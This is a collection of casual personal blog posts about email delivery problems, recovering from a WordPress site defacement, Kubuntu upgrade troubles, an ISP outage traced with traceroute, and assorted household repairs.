hotmail.com, gmail.com, u.washington.edu and uw.edu have apparemtly decided that messages from the ballard sedentary sousa band mailing list (of which there are 40+ members, many of whom have addresses at the aforementioned servers) are spam… or something… ๐Ÿ˜ the evidence i have is all of the hotmail, gmail and UW users mailing me complaining that they aren’t getting any mail from the band (despite quite a few messages being sent over the past couple of weeks), the messages being dropped from the mail queues — no reports have been sent they, and they don’t have anything in their “spam” box — and i’m not getting any feedback from their servers or the administrators thereof to indicate that i (being on the same IP address as sedentarysousa.com) have any problems whatsoever. there’s enough evidence to completly exonorate sedentarysousa.com, and compelling evidence to suggest that there has been a human error (or several of them) somewhere, but nobody’s willing to take the blame, so nothing is going to be done to fix the problem. ๐Ÿ˜

that was “interesting”…

if, by “interesting” you mean “screaming in mind-wreaking terror”… ๐Ÿ˜

i got cracked* this morning.

about 2:00 in the morning, someone compromised a “soft” password on one of my wordpress sites and defaced every PHP index page that they could find…111110 web site hack

when i started up my computer this morning, i was confronted by this, rather than the expected page on hybridelephant.com, przxqgl.hybridelephant.com and several other web sites that i host. it was a shock, let me tell you.

FORTUNATELY i have a backup… ๐Ÿ™‚ and a backup of a backup… 8) and i was able to put everything right within a few minutes of discovering that it was wrong, but finding out how was a little more tricky.

i logged into the administration sides of the web sites i manage, to determine if anything other than PHP pages had been tampered with, and i discovered that i couldn’t log in to one of them… so i clicked the “lost password” link and discovered that it didn’t know who i am… so i decided to get a bit more forceful: i logged into the database with MyPHPAdmin and discovered that the administrator account (which had a “soft” password that “could be remembered easily” by someone who has never had to do DBA stuff before) had been changed, and then deleted…๐Ÿ˜

once i regained control of the database (and DELETED the admin account with the soft password) and removed the file that he sneakily uploaded to a plugin directory that i had deleted (which is why i knew it was there), i went to work to discover as much as i can about the cracker as possible. i learned that he uploaded files from 66.23.237.186, which is located in new york, but he also has close associations with 46.38.130.10, which is located outside of louisville, kentucky, but he’s apparently all for iran and down on saudis, so it could be that he’s using those IP addresses as proxys, at which point he could be anywhere… i also have a “DecodedBase64.bin” file i retrieved from the file he encrypted and uploaded to the deleted plugin directory, which potentially has a little more accurate indications of who he might be, but executing it on any of my computers is totally out of the question. that’s probably as close as i’m ever going to come to actually knowing who he is, but that’s a fair amount more than i could have expected.

and the client gets a STERN talking-to about the value of very strong passwords… i’m fairly sure that she won’t do it again.

Continue reading that was “interesting”…

the email fiasco is mostly resolved…

i hate these things, and they appear to come in batches, so i’m hoping that i won’t have to deal with them for a while…

spamcop is up and running. there’s still a significant amount of mail from the past few days that has yet to be delivered, and there’s a good bet that, even when it is delivered, it’s not going to be all of it, but hopefully it will be enough that i get caught up again.

also, my “alternate” email address, which i was using during the time spamcop was down, now POPs the way it’s supposed to, which means that i don’t have to keep a browser open on my mac in order to reply to emails. what i’m hoping is that the technique i used to fix my POP problem will be the same as my clients whose POP mail accounts at sedentarysousa and kosherredhots need, but, unfortunately, i won’t find out for a couple of days. i’m fairly confident that it will work, though…

the only remaining snag is that qwest/centurylink’s SMTP server is STILL on a couple of blacklists, and there’s no telling how long they’ll be there, because qwest has its head so far up its ass that it can see daylight out the other end*… and there’s a very good chance that, despite the fact that i’ve had “someone with more authority” (i.e. my host provider is going to try to contact their real postmaster, and not just some phone-flunky) attempt to communicate with them, they’re going to ignore it anyway, which is why i don’t really expect anything to change in that regard.

Continue reading the email fiasco is mostly resolved…

oh my GAWD what have i gotten myself in to?

continued

spamcop is working, however…

when i send email from me at salamandir dot info to a friend of mine, whose email address i provide (spreznib at hybridelephant dot com) it bounces with the following message:

ERROR: Your message could not be delivered.
The mail server generated the following error message:

This message was created automatically by the mail system (ecelerity).

A message that you sent could not be delivered to one or more of its
recipients. This is a permanent error. The following address(es) failed
[email protected] (reading confirmation): 550 High probability of spam

Arrival-Date: Fri, 04 Nov 2011 20:10:45 -0400
Reporting-MTA: dns; smtp.centurylink.net

Action: failed
Final-Recipient: rfc822; [email protected]
Last-Attempt-Date: Fri, 04 Nov 2011 20:10:45 -0400
Remote-MTA: dns; mx1.thewebhostserver.com
Diagnostic-Code: smtp; 550 High probability of spam
Status: 5.0.0

when i check mxtoolbox dot com, it tells me that 208.47.184.3 (the IP address for smtp.centurylink.net) is on a couple of blacklists, because SOMEBODY has been sending spam from smtp.centurylink.net without encountering the HAMMER

however, when i call qwest/centurylink, they say that it’s not 100% sure that their server is on a blacklist, and i should investigate “other problems” because of the fact that they don’t show anything wrong, they can’t do anything…

 

 

 

 

 

 

this is the sound of me, repeatedly faceplanting on the desk… ๐Ÿ˜›

grmph…

i rarely NEVER have problems with them, so when i do, it’s an emergency…

there have been some “issues” at spamcop.net, the origin of my regular email address. i’m not exactly sure what’s going on, because i don’t check their web site for months at a time, but apparently the email servers, and particularly their webmail servers had some sort of catastrophe that has meant that they had to restore from an old backup, or something like that. what that means, in my case, is that email that is addressed to my regular email address – salamandir at spamcop dot net – may or may not be received by me, at least until saturday and maybe longer or, alternately, it may not be received by me at all

there also appears to be a similar problem with my “business” email address – ganesha at hybridelephant dot com – as well, because that mail is also filtered by spamcop.

i don’t know whether or not recent mail for either address will be received at all. i tried sending a test message from one of my yahoo.com accounts to spamcop.net and it hasn’t arrived. other people have told me that when they try to send email to my spamcop.net address, it has bounced with a notice that my previous ISP no longer handles email for that address (which leads me to believe that it’s on spamcop’s end, because the mailhosts on my end are set up correctly)…

i am getting some email, but for the past two or three days, i have been getting significantly fewer messages than i am used to, which also makes me think that it’s something on spamcop’s end of things…

meanwhile, you can try to send me email at “me at salamandir dot info” or “rev underscore deluxe at yahoo dot com” – although i don’t check yahoo as often, and i’ve never actually received any email at salamandir dot info (because i just created the email address today)…

no more drizzle, but what have i gotten myself into?

and, coincidentally, it’s raining outside… what do i have to do to get away from it? ๐Ÿ˜

today i cancelled my drizzle account. this has been coming for a few years, but already i get the feeling that it’s out of the frying pan, into the fire…

i get connection speeds that are at least five times as fast with the new provider, but they gave me a modem/router which has settings that they “don’t support”. they told me right up front that if i enable MAC authentication, it isn’t supported…

with drizzle, i had a static IP address. the new guys only offer DHCP, which means that, if i want to connect to my mac from my linux box, every day, i have to go to the terminal on the mac, type in “sudo ifconfig” and get the IP address, which is then used on the linux box to connect the linux box to the mac. every day both the linux box and the mac gets a new IP addresses, and the old ones quits working, which means that the connection on the linux box dies.

and, yes, i AM aware of the fact that MAC authentication does not refer specifically to Macintosh computers.

i know that there is a way to get the linux box to automatically find the mac on the network, and automatically change the addresses so that the icons in dolphin work from one day to the next, but i’ll be damned if i know how to do it… and, at this point, it has already been demonstrated that the people at the new ISP aren’t going to be any help at all… ๐Ÿ˜›

the rapture!!

so far, the rapture hasn’t happened… i’m preparing to have a big ol’ laugh at harold camping’s expense when the day is over… 8)

unauthorised authorisation dialoguein other news, i got a new unauthorised authorisation dialogue, like the one i got back in august of last year, but it’s for a different site… the site, LEAP.cc, is the site for Law Enforcement Against Prohibition, which i have visited a while back, but there currently is no site there, and, instead, it asks for an authorisation (which i have NEVER provided), so i’m thinking that either they’re not in business any longer (not very likely) or someone has hacked their site. needless to say, i didn’t enter anything into the fields, and it’s acting pretty much the same way as the twitter dialogue that was coming up last year, so i’m going to guess that it’ll go away eventually.

the rapture still hasn’t happened… i’ll let you know something else comes up… 8)

Scientists confirm Extraterrestrial genes in Human DNA – for some reason i thought this was appropriate, despite the fact that it was originally posted in 2007…

Family Radio, which is harold camping’s “ministry” is offline… it’s the end of the world as they know it…

“Native”? HTML5 support?

um… i think that someone at micro$lop should be told those words don’t mean what he thinks they do…

Microsoft breaks own world record for IE nonsense – quite apart from the fact that HTML is designed to run non-“native”ly, and is platform-agnostic – i.e. it DOESN’T MATTER which platform you “run” it on (actually, being an interpreted language, it would be more accurate to say that it “doesn’t matter which platform you render it on”, but the difference may be a bit too complex for the non-geek audience), the fact that they are making such a big thing about it means a possibility of a number of different things:HAH HAH!

1) they are relying on the fact that you don’t know what this means… in other words, they are assuming that the consumer is stupid and will buy any new, shiny toy that the marketers wave under their noses.

this is an almost certain fact, since their job is to know what this stuff means. from engineers to marketers, they all have intimate knowledge of exactly what “native HTML5” means, they ALL know the phrase is essentially meaningless, and they are doing this PRECISELY because they know it will boost micro$not stock prices.

2) not only do they know what it means, they also know that even if it is explained to you, it won’t matter because, as i explained above, their interest is not in serving the customer, but how much money they can make. this is an extension of the “we don’t care, we don’t have to” attitude that micro$awft has developed over the past 20 years or so.

3) judging by the fact that, if you are currently running windows and IE, you HAVE code that renders this line of text as more than one line of text, in spite of the FACT that the HTML specification requires the escape sequence &nbsp; to render a “NON BREAKING space” (meaning that, instead of breaking a line, if you put &nbsp; in between words, they’ll all stay on one line, and cause “horizontal scrolling” instead) – a BUG which i reported IN 1997, and they still haven’t fixed it – the fact that they’ll eventually acknowledge that “native HTML5” means essentially nothing, is quite remote indeed.

(for those of you who are unfortunate enough to be running IE, the previous paragraph, from the number “3” to the phrase just before “a BUG…” should have rendered on one line, and you should see a horizontal scroll bar at the bottom of your browser window, because of the “non-breaking spaces” i put between the words)

why should they? it doesn’t make any difference, and it raises the bottom line, which was the goal all along.

and people wonder why i won’t own a computer that runs windoesn’t any longer… pfui… ๐Ÿ˜›

huge sigh of relief…

i don’t have an emoticon for a “huge sigh of relief” (yet), but i should… it wouldn’t get used often, but it would be entirely appropriate here…

kmail works, akgregator works… amarok mostly works (it still has this problem determining track lengths), but i can deal with that… the file manager(s) works again… and now i’ve got this nifty icon in the task bar that gives me access to USB devices, tells me when they’re plugged in and gives me the ability to unplug them without the rigamarole that i used to have to go through when i wanted to unplug the USB devices: now i go to the icon in the task bar, select the device i want and select “Remove Device” from the menu, then i can unplug it. before i had to open the disk in the file manager, then select the actual device, right click, select “Eject USB Device” from the menu, and wait for the light to stop flashing before i unplugged it, otherwise it gave me this dire warning that said i unplugged the device before it was ready, and that there may be damage to the files (which there never was, but it made me nervous when it appeared).

the interface is somewhat different… some of the icons are not what i expected: the network icon in the task bar, instead of looking like a networked computer, now looks like the CAT5 network cable connecter going into the network connection. there’s a new “klipper” icon that wasn’t there before, and the “notifications” icon is different, but mostly it looks the same… of course that’s probably at least partially because i have customised my interface pretty heavily to start out with… i have the task bar at the top of the screen (like it was on old macs) and i have desktop patterns that change every five minutes or so, from a directory of pictures…

i may have the latest unicode fonts installed by default… i have noticed a number of scripts that i don’t remember seeing before (including mah-jong tiles, dominoes, egyptian heiroglyphics, tifnagh, and that sort of thing)…

i’ve still got a lot to do, moving my home directory, which involves figuring out why kubuntu doesn’t mount my second internal hard disk on bootup (like it apparently does to the two USB hard disks that i keep plugged in pretty much all the time), and figuring out how to partition my new 3tb hard disk…

but, for the time being, i’m breathing a HUGE sigh of relief.

holding my breath…

i worried and fretted about my computer all day today, but i didn’t actually do anything about it… i just waited for kubuntuforums.net to come up with an answer that i hadn’t tried yet. to keep my mind off the computer, i went out and bought new batteries for lucy’s training collar, bread, bagles and dishwasher detergent, and a three terabyte USB hard disk, which i intend on partitioning approximately 1tb/2tb, and throwing my ENTIRE home directory, and my entire 200gb music collection into the 1tb side, and using the 2tb side as backup storage…

and i AM going to use something like Keep to back up my ENTIRE home directory about twice a month…

so that this kind of thing WON’T happen again… ๐Ÿ˜›

and when i got home, kubuntuforums.net had come up with an answer i hadn’t tried. a kubuntu expert from indonesia suggested apt-get install libakonadi-contact4, and when i did that, kmail, kaddressbook, and akregator all started without a problem.

and it works… so far… if it works again tomorrow, i’ll feel a lot better.

amarok still has difficulty telling how long tracks are, but at this point, i’m SO relieved to have kmail back that i’ll let it be wonky for a while…

more GROAN!… 8P

i got up this morning and nothing (and i mean nothing) had changed. kontact still wouldn’t start, nobody had responded to my many varied requests for help, and, according to skype-friend “You are now solidly into the area of problems that Kubuntu added to Debian”… ๐Ÿ˜›

so i put “kontact can’t find libkontactinterface.so.4 in kubuntu 10.04” into google, and came up with this article in kubuntuforums.net, which suggested reinstalling kdepim for a person who was having almost the same problem in maverick (kubuntu 10.10). so i tried sudo apt-get --reinstall install kdepim and then i read a little further in the article and discovered that it was also suggested that i try sudo apt-get --reinstall install libkontactinterface4, which resulted in some change… unfortunately, not in the desired direction. now kontact says kontact: error while loading shared libraries: libakonadi-contact.so.4: cannot open shared object file: No such file or directory… essentially the same error as before, only now it’s looking for libakonadi-contact.so.4 instead of libkontactinterface.so.4

i feel like i should be making progress, but i honestly don’t know what to do next… ๐Ÿ™

i’m going to try putting libakonadi-contact.so.4 into google and see if that comes up with any new, relevant information that i haven’t already read… ๐Ÿ™

ETA: from what little reading i’ve done, it would appear that akonadi (the personal information management software that makes kontact work, and the thing that needs libakonadi-contact.so.4) doesn’t work that well (or, depending on where you read, at all) on 10.04 either, and the recommendation is to upgrade to 10.10… which isn’t a LTS… more motivation for me to switch distributions to debian (the parent distro to *ubuntu). this would obviously mean going back to KDE4.5, or KDE4.3, or something like that… but, as i said to skype-friend, i don’t need all these fancy bells and whistles, i just need it to work… reliably, consistently, and with a lot less effort than i have put into it over the past three days… i admit that, on the whole, kubuntu has been FAR better than windoesn’t, and even gives mac a run for its money, but when it comes to upgrading, kubuntu SUCKS!! ๐Ÿ˜›

groan! 8P

my email client (yes, i’m an anachronism, i know… deal with it) was working when i went to bed last night.

my email client was working when i got up this morning… however it turns out that my file manager was not. i fought my way through several different possibilities, and then i discovered that i did, indeed, have about a half-hours worth of downloading for “updates” that weren’t installed yesterday, so i installed them.

the file manager now works… but my email client doesn’t. ๐Ÿ˜

when i try to start it from the GUI, nothing happens. when i try to start it from the terminal, it tells me this: kontact: error while loading shared libraries: libkontactinterface.so.4: cannot open shared object file: No such file or directory which is next to useless…

so i go to google and put in “libkontactinterface.so.4” and i discover that it is installed in /usr/lib with kdepimlibs5 (whatever that is), so i type in sudo apt-get install kdepimlibs5 and it tells me
Reading package lists... Done
Building dependency tree
Reading state information... Done
kdepimlibs5 is already the newest version.

however, when i go to /usr/lib/ and do a ls | grep libkontactinterface.so.4 it tells me nothing… which means that, despite the fact that i’ve apparently got the most recent kdepimlibs5, i apparently don’t have ANY libkontactinterface.so.4…

why does linux have to be so arcane? is it just to frustrate anachronisms like me? ๐Ÿ™

groan?

so “lucid lynx” appears to work well… which is to say, once i had got it installed, it hasn’t crashed or done anything non-computer-like…

dolphin (one of the file managers that i’ve been able to find) doesn’t work any longer… i invoke it in various different ways, but it doesn’t show any files (fortunately, i know that they’re there, otherwise i’d really be freaking out). instead it says: “Could not start process Unable to create io-slave: klauncher said: Error loading ‘kio_file’. this is probably a “non-computer-like” behaviour, but i’m fairly confident that i can, actually get it straightened out within the next few days…

however, amarok, the music player, has some difficulties… so much so that i actually logged a bug on the “new” version (2.3.0) yesterday. it plays music files of all kinds quite the same as it did in its previous version (2.2.4, or something like that), but instead of track lengths, it says that all the tracks are 0:00 minutes long. also, when i view the tags for an individual track, sometimes i can change them, and sometimes i can’t, even though all the files are set to permissions 644…

of course, the immediate response to my bug (as was the case pretty much all the time when i was testing software for a living) was that i am “doing it wrong”, and that i have to upgrade to a version (2.4.0) which, from what i understand after having read a bunch about the process, actually won’t run on lucid… apparently lucid doesn’t have some important piece of the puzzle necessary to run the version of amarok that doesn’t have problems with track lengths and tags… or not, nobody’s exactly sure what’s going on at all. ๐Ÿ˜

not only that, but, following the instructions that i, finally, was able to find for upgrading to 2.4.0 on lucid, only upgraded me to 2.3.2 – which isn’t really that surprising, because, from what i have been able to find out, 2.4.0 really won’t run on lucid – which has exactly the same bug as 2.3.0 did.

this is one of the reasons i’m REALLY glad i don’t test software for a living any longer… i don’t have the patience to reply to the “developer” and explain to them that i’m not “doing it wrong”, what i’m doing is EXACTLY the same thing that any other bozo would be doing on their computer, and if they perceive something as a bug, they’re not going to be as satisfied a “customer” as i would be… only i’m NOT a software tester any longer… and i only posess the patience to fume and rant on my blog about how amarok 2.4.0 WON’T WORK on lucid, without some forcing and installing some non-standard bullshit that nobody except the developers truly understand! ๐Ÿ˜›

groan

it got worse… the computer crashed before i went to bed…

then, i got up at zero-dark-thirty this morning (because i couldn’t sleep) and began yet another extended conversation with skype-friend, who eventually gave up at about 11:30. he recommended that i try kubuntuforums.net (a place where i have an established presence), so i went there, and took the first advice that came down the pipe…

after another 45 minutes or so of downloading and configuring, i went from booting to a terminal, to not booting at all. it wouldn’t boot normally, or in the latest kernel recovery mode at all… ๐Ÿ™

it would boot in the next kernel back recovery mode, however, and with a couple more hours of fretting and worrying, combined with frantic typing and getting as many messages as possible in between the times when the people who were helping me were online and offline, i managed to get kubuntu 10.04 LTS “Lucid Lynx” up and running…

i’m seriously thinking of switching distros the next time i have to upgrade. this is ridiculous. ๐Ÿ˜

groan… 8P

okay, so i decided, a couple weeks ago, to upgrade kubuntu, since 9.01 is coming to the end of its support period in a month or so, but i couldn’t figure out how to get either kpackagemanager (the default program, which i don’t use) or synaptic (which i use on the recommendation of this guy who is a linux genius that i met on skype)…

i futzed around with it a bit, and found the “sources list” in synaptic, but i didn’t know what to put in to make it work, that wasn’t already there. so i contacted my friend on skype, and he told me to do it manually (i.e. use the terminal instead of the GUI)… we thought we had the problem with the sources list – /etc/apt/sources.list – sorted out, and i ran “aptitude update” and then “aptitude -f dist-upgrade” which was supposed to do it, but after downloading what turned out to be only half-a-ton of stuff in three hours, it didn’t work, and left me with a system that, i strongly suspect, if i attempt to reboot it, it will be totally hosed.

it turns out that when i originally installed the OS, from a CD-ROM, it didn’t put a whole bunch of really important sources into the list, which meant that, despite my downloading for three hours, i didn’t get a “complete” upgrade. among the things that are “unresolved dependencies” or “BROKEN” are just about everything in the GUI for the entire machine, and the necessary software to boot up the machine once it has been shut down.

i suspect that it’s actually going to be easier to fix than the last time i had this problem, because it was in a pretty stable state when i screwed it up… but that’s only because i didn’t follow my gut instinct to reboot when it started giving me difficulties.

and skype-friend has a rehearsal for a church play this evening, so he won’t be available again until tomorrow morning – which is 2 hours ahead of me, which means that, by the time i’m usually getting up in the morning on a saturday, he’ll be taking his wife to lunch, which, i suspect, will take longer than an hour… i’m fairly confident that we can fix it, but it may be a few days until i have regular access to my email, RSS feeds and stuff like that…

i wonder why it is that i’m the one that has these problems… as far as i know, nobody else who runs ubuntu or any of its relatives has anything like this much difficulty with it… and when i bought this computer, i bought it specifically because it had high-quality “generic” hardware that i was sure would be supported… and yet, the only things that actually makes noise on the machine are the alert sounds, and the music player: everything else that’s supposed to talk to the sound card doesn’t, and every time i have had to update the system it has turned into a nightmare…

hmmm…

all of my categories just disappeared…

interesting… and not in a good way. ๐Ÿ˜ก

ETA: and now, just as mysteriously, they’re all back again…

VERY strange… ๐Ÿ˜

ETA: now the categories and the tags are gone… grumble, mutter… ๐Ÿ˜› what did i do…?

ETA: i get the impression that it’s nothing having to do with me… they’re still gone, but some of them are back on some posts… weird.

grump…

i discovered that there’s a new wordpress hack that’s cropping up on sites that haven’t been upgraded, but there’s also a nifty exploit scanner that makes tracking down wordpress hacks a lot easier.

i upgraded to 3.0.4 a couple of days ago (when it came out), so i wasn’t caught by the most recent hack, but when i ran exploit scanner it found a whole bunch of residue from the last time i was hacked which i had missed when i was cleaning up. it probably didn’t do anything any longer, because i deleted the files that contained the code that the hack was referring to a long time ago, but i’m glad i got the rest of the stuff out of there, because if i had come across it again, randomly, it would definitely have freaked me out…

exploit scanner is actually good enough at what it does that it finds things in my blog that aren’t exploits, like my anti-spam plugin (which uses the same code that they use in hacks to obscure the form field that you’re not supposed to fill out, but the one that spam-bots fill out because they don’t realise that it’s obscured) and various bits and pieces of my theme, but, fortunately, there is an easy way to tell the difference between legitimate code and code that has been hacked, so i don’t worry about it… that much.

and a couple of the places that had residue were things that i installed a while ago, but have consistently not worked correctly pretty much ever since i installed them, which makes me wonder if they will work more consistently now that i’ve removed the residue of being hacked…

flurb

thanks to Howlin’ Hobbit, i was able to sort out the “hidden file” dilemma that i had yesterday – of course i could have edited the “live” version using vi, but i was feeling stubborn – and the immediate result has been that one person who has been spamming my web site for 3 days now is no longer able to. whee! ๐Ÿ™‚

my popgun is defective. i bought an orchestral-quality popgun, and i have been popping enthusiastically for around 10 years, mostly at cirque de flambé and fremont players functions, but it has been getting harder and harder to get a reliable pop out of it. first, the ball-end on the handle stripped its threads, which is understandable, since it is made of wood. however, i glued it back in place and the glue holds for about 5 pops at which point the ball-end comes off again. gluing the ball-end is an annoyance that i have learned to live with, although there have been a couple of times where i nearly lost the ball-end over the side of a ferry, or that kind of thing. completely replacing it involves coming up with another hardwood ball, and then drilling and tapping it out to the correct thread to match the otherwise very sharp end of the handle. then, the end-cap that holds the cork in place so that it doesn’t go “pop” and shoot the cork across the stage, disappeared. at the time, fred was a member of the band, and he volunteered to make me a replacement end cap, because he had the necessary tool (a metal lathe). then the bottom cap retaining screw disappeared, but i was able to make a replacement, because i have a tap-and-die set for miniature screws. of course the cork itself has been replaced two or three times, and i’ve got a collection of replacements in my workshop… but the problem i’m currently having is more insideous: the plunger has worn down to the point where it doesn’t seal. now it appears that i have a choice: i can either figure out some way to make two, perfectly circular washers out of something like linoleum, that are exactly .125″ larger than the inside diameter of the tube…

or i can buy a new, orchestral-quality popgun

apparently i have the skills and a steady-enough hand (everything is a lot more free-form since my injury) to cut new bits of linoleum that will work, and i have a leather-punch in the workshop that has a big-enough hole that i was able to create a new, more effective plunger, and now POP!! and all is right with the world again… ๐Ÿ™‚ which is a good thing, because i don’t remember where i got the popgun… there are a couple of possibilities (and i’m pretty sure i could order one online, which would take too long), but i know for sure that one of them has gone out of business…

i like tools that can be taken apart and fixed when they stop working. it’s so much easier and less expensive than buying a new one when the old one breaks… ๐Ÿ™‚

ETA: so this morning i got an order for one box of green rose incense from india, of all places. unfortunately, i would be willing to bet that one get green rose incense in india for a lot less than i have to sell it for in the united states. not only that, but the shipping costs alone, to get it to india, are more than ten times what the incense would cost, by itself. i wrote back to the guy, but, considering that it’s from india, the probability is fairly high that he doesn’t speak english, or, worse, speaks “hinglish”…

why do people do this? what is it that prevents them from thinking these things all the way through before doing something stupid? i suppose we will never know…

i’ve been very productive today, and it’s not over yet. i fixed my popgun, built a pig-rail for our whelping box, and fixed our front door so it closes reliably without having to be “finessed”.

.htaccess

this is going to be a heavily geek-ified post, because i am frustrated and don’t have time to explain all of the stuff i already know about this…

there is this intensely useful text file on my web server that’s called .htaccess, which does things like control rewriting domains, and blocking undesirable IP addresses and stuff like that. i know it exists on my web server, because when i type ls -a in the public_html directory, it shows up there right at the top.

you’ve probably noticed by now that .htaccess is kind of an unusual name for a file: it doesn’t have a “file extension” like .pdf or .exe, except that – possibly – the entire file name is the “extension”, because it all appears after a period. on UNIX and linux machines, file names that start with a period indicate that they are “hidden” files, which means that they only show up if you go into the terminal, navigate to the directory where the files exist, and type ls -a which means “list the current files in the directory, plus list all the files, whether they are hidden or not”

the problem i’m having is that i have a “working” copy of my web site, on my local computer, and when i’m “working” on that site, i have to save the document and then upload it to the “live” site, which is on my web server, currently in los angeles. the “working” copy is on my mac – which, fundamentally, runs a version of UNIX with a fancy GUI over the top. when i use the terminal to view the local site, i see the .htaccess file, but when i use the GUI and the application that i use to modify the web site, i do not see the .htaccess file, because it is a “hidden” file and i don’t see them with the GUI…

and – this is the important part – the only way i currently have to modify “hidden” files is to use vi or emacs or something like that, on the terminal RATHER than using the GUI and my code-authoring application.

currently, as far as i have been able to tell, there is no way to view “hidden” files like .htaccess on a mac, in the GUI at all: they don’t show up in the finder, they don’t show up in the application, and there’s no way to make them show up so that you can work on them like you would be able to work on .html files, or .php files…

if you happen to know how to make hidden files visible on a mac, i’d appreciate a comment.

also, within the past hour, i’ve received 6 spam messages at a time, about 4 times, with an identical subject line, and 10 more messages with the same subject line at spamcop. if i wouldn’t read it once, why does anybody bother sending multiple copies anyway? also, it looks like the beginnings of the spam-flood that happened on saturday… why me?? ๐Ÿ™

update

i didn’t have a rehearsal yesterday, because it’s the “sousa-torium” (i.e. the break between sousa’s birthday and march or so, when we start rehearsing for next year. also, i don’t have a rehearsal tonight, because kiki’s going to the memorial for george shangrow, and anyway, they’re changing the whole story around (big surprise) so they don’t need the band, which is good because i could use the time off. it will also give me time to design a xmas postcard for the BSSB, which we are going to try to do again this year.

i went to help out my brain-injured client again yesterday. he had somehow added a wiget that he didn’t want to his panel. he said he didn’t, but i certainly didn’t put it there, and he’s the only other person to have access to the hardware, so i tend to believe that he did it in spite of what he says. after talking with tamzin, who also has aged, brain-injured clients, i bit the bullet and locked the panel, so that he can’t do it again. it’s obvious that he doesn’t really know what he’s doing about half of the time, and to leave “secret” methods of modifying the interface does more harm than good. also, he apparently has a preference for the “kickoff” style menu, rather than the “classic” windows-style menu, which is a good thing to remember.

something went wrong with one of the stylesheets and suddenly the login page for my blog looked all wonky. the last time this happened was a couple of years ago, when my blog was hacked, so i was pretty worried. i checked, and the blog didn’t appear to be hacked in the same way it was before, but still: the error i was getting was “Failed to load login.css” and i could see that login.css was there, and i looked at it and it looked the way it was supposed to… so i went to the wordpress “support” site, which is probably good for some people, but i have never gotten a usable solution when i have gone there with problems with my wordpress installation. nevertheless, it’s a place to start, so i did. i waited two days and nobody responded to my query… ๐Ÿ˜ so i then logged into IRC, went to #wordpress and asked there. the guy who (finally) responded asked if i had tried uploading the file from a backup.

d’oh!

once i had uploaded and replaced the stylesheet, everything went back to the way it’s supposed to be.

the web is in trouble

according to ARPAgeddon (IPv4 Countdown), there are less than 240 days until there will be no more IPv4 addresses to hand out to people, and the conversion to IPv6 is going less-than-smoothly.

the problem is with NAT (Network Address Translation) and wireless “devices”, mostly in china. instead of “dotted quad” 32-bit addresses – something like 194.169.203.3 – that typify IPv4 addresses, the new IPv6 addresses have 128 bits, and the “Network Address Translation” software, which works in theory, is still a little slow off the mark when it comes down to actually doing the kinds of “translation” it is designed to do.

US.gov set IPv6 upgrade deadlines, but they’ve targeted 2012 for completion and, as i said, there will be no more IPv4 addresses long before that happens. my own computer has IPv6 software, but i had to disable it because it wasn’t working correctly, and, as far as i have been able to tell, there hasn’t been an upgrade package that has included a fix for IPv6 in at least 6 months.

presumably there are enough people that have functioning IPv6 computers that eventually the switch will be made, but until then, there will be no new addresses, and/or an only partially functioning internet with IPv4 computers that may or may not be able to connect…

what would you do?

so i’ve been doing some maintenance on sedentarysousa dot com. i uploaded the last of the changes, and refreshed the browser, only to get one of those “Firefox can’t find the server at www.sedentarysousa.com” messages.

i restarted firefox. i flushed my DNS cache, and the DNS cache of my router. i rebooted the machine, and the router. i switched browsers five times, i switched machines three times, and i switched platforms twice, but i basically got “there is no server” messages from every browser and machine combination i tried.

i then went to browsershots dot org, which uses a whole bunch of different network nodes, a whole bunch of different browsers and three different platforms, and confirmed that sedentarysousa.com was up and working the way it’s supposed to, and that made me suspicious.

because of the fact that one of my machines is wireless, and my neighbour uses a different ISP and runs an unsecured wireless network, i can switch networks fairly easily, so i did, and sedentarysousa.com showed up without a problem.

aha, i thought. the problem is with drizzle (big surprise). so i called drizzle. sure enough, the drizzle tech support people – two of them! – confirmed that sedentarysousa – and only sedentarysousa – was “offline”.

they recommended that i “contact the host provider” and have them do a traceroute to my IP address, to figure out where the problem lies.

WHAT⁈⁉

let me get this straight… they would rather that the host provider – who is conveniently located in London, doesn’t have a problem with anybody else, and only has a problem with one route connecting – should contact the person responsible for that route to fix the problem, instead of the person responsible for the route that’s having a problem being contacted by ME to fix the problem.

it sounds very much to me as though they are saying “we don’t care, we don’t have to” – which is not the way to keep me as a customer.

very likely, what they are saying, as well, is “we don’t actually know what the problem is, or how to fix it”, which is a valid point, but it makes me feel like they are deliberately misleading me, rather than being honest and admitting that they don’t know – which is also not the way to keep me as a customer.

what really irritates me is that, what with the network being the fluid place that it is, by the time i actually discover what the problem really is, it will have fixed itself and there won’t be any evidence that whatever was causing the problem really was causing the problem. it irritates me that random things like this happen on what should be a very predictable medium. 8P

ETA: so i had the host provider do a traceroute to my IP address:

traceroute to 216.162.193.190 (216.162.193.190), 30 hops max, 40 byte packets
1 216-18-215-65.hosted.static.webnx.com (216.18.215.65) 0.316 ms 0.371 ms 0.436 ms
2 cr3-lax01.webnx.com (67.220.192.102) 0.294 ms 0.357 ms 0.410 ms
3 cust-webnx.ar10.owlax.us.easynet.net (207.162.207.13) 0.576 ms 0.723 ms 0.807 ms
4 ge-7-48.car1.SanJose2.Level3.net (4.59.0.69) 9.538 ms 9.535 ms 9.528 ms
5 * * *
6 ae-93-93.ebr3.SanJose1.Level3.net (4.69.134.237) 21.896 ms 19.398 ms 17.990 ms
7 ae-2-2.ebr3.LosAngeles1.Level3.net (4.69.132.10) 12.894 ms 9.468 ms 9.456 ms
8 ae-71-78.ebr1.LosAngeles1.Level3.net (4.69.146.10) 16.406 ms ae-91-98.ebr1.LosAngeles1.Level3.net (4.69.146.26) 16.362 ms 16.354 ms
9 ae-7-7.car1.SaltLakeCity1.Level3.net (4.69.148.5) 22.380 ms 22.130 ms 22.771 ms
10 ae-11-11.car2.SaltLakeCity1.Level3.net (4.69.133.122) 22.099 ms 22.531 ms 22.291 ms
11 4.53.42.10 (4.53.42.10) 22.579 ms 22.703 ms 22.765 ms
12 208.110.128.254 (208.110.128.254) 38.893 ms 38.961 ms 38.866 ms
13 216.162.207.60 (216.162.207.60) 43.406 ms 42.878 ms 43.912 ms
14 * * *
15 * * *
16 * * *
17 * * *
18 * * *

the place where the timeout occurred was 216.162.207.60, which is Internet Professionals & Network Solutions.

it IS drizzle’s problem! 8|

twitter!!

Twitter bug creates account hijacking peril – i’m not sure that this is exactly related to what i have been experiencing, but it does explain a lot, especially since i didn’t start experiencing a problem until after i had “disabled” my twitter account…

now to determine whether or not there is a way to prevent cross-site scripting in wordpress…

growl, grumble, gripe, complain… ๐Ÿ˜ก

